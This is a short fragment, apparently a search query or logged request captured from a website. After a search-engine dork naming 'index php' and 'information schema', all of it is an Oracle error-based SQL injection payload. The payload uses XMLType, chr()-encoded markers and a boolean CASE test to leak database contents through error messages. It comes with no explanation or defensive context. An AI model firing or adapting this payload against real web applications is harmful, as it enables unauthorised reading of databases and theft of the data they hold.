3.8780inurl index php db information schema') and 1455=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(118)||chr(122)||chr(98)||chr(113)||(select (case when (1455=1455) then 1 else 0 end) from dual)||chr(113)||chr(106)||chr(107)||chr(113)||chr(113)||chr(62))) from dual) and ('hakq'='hakq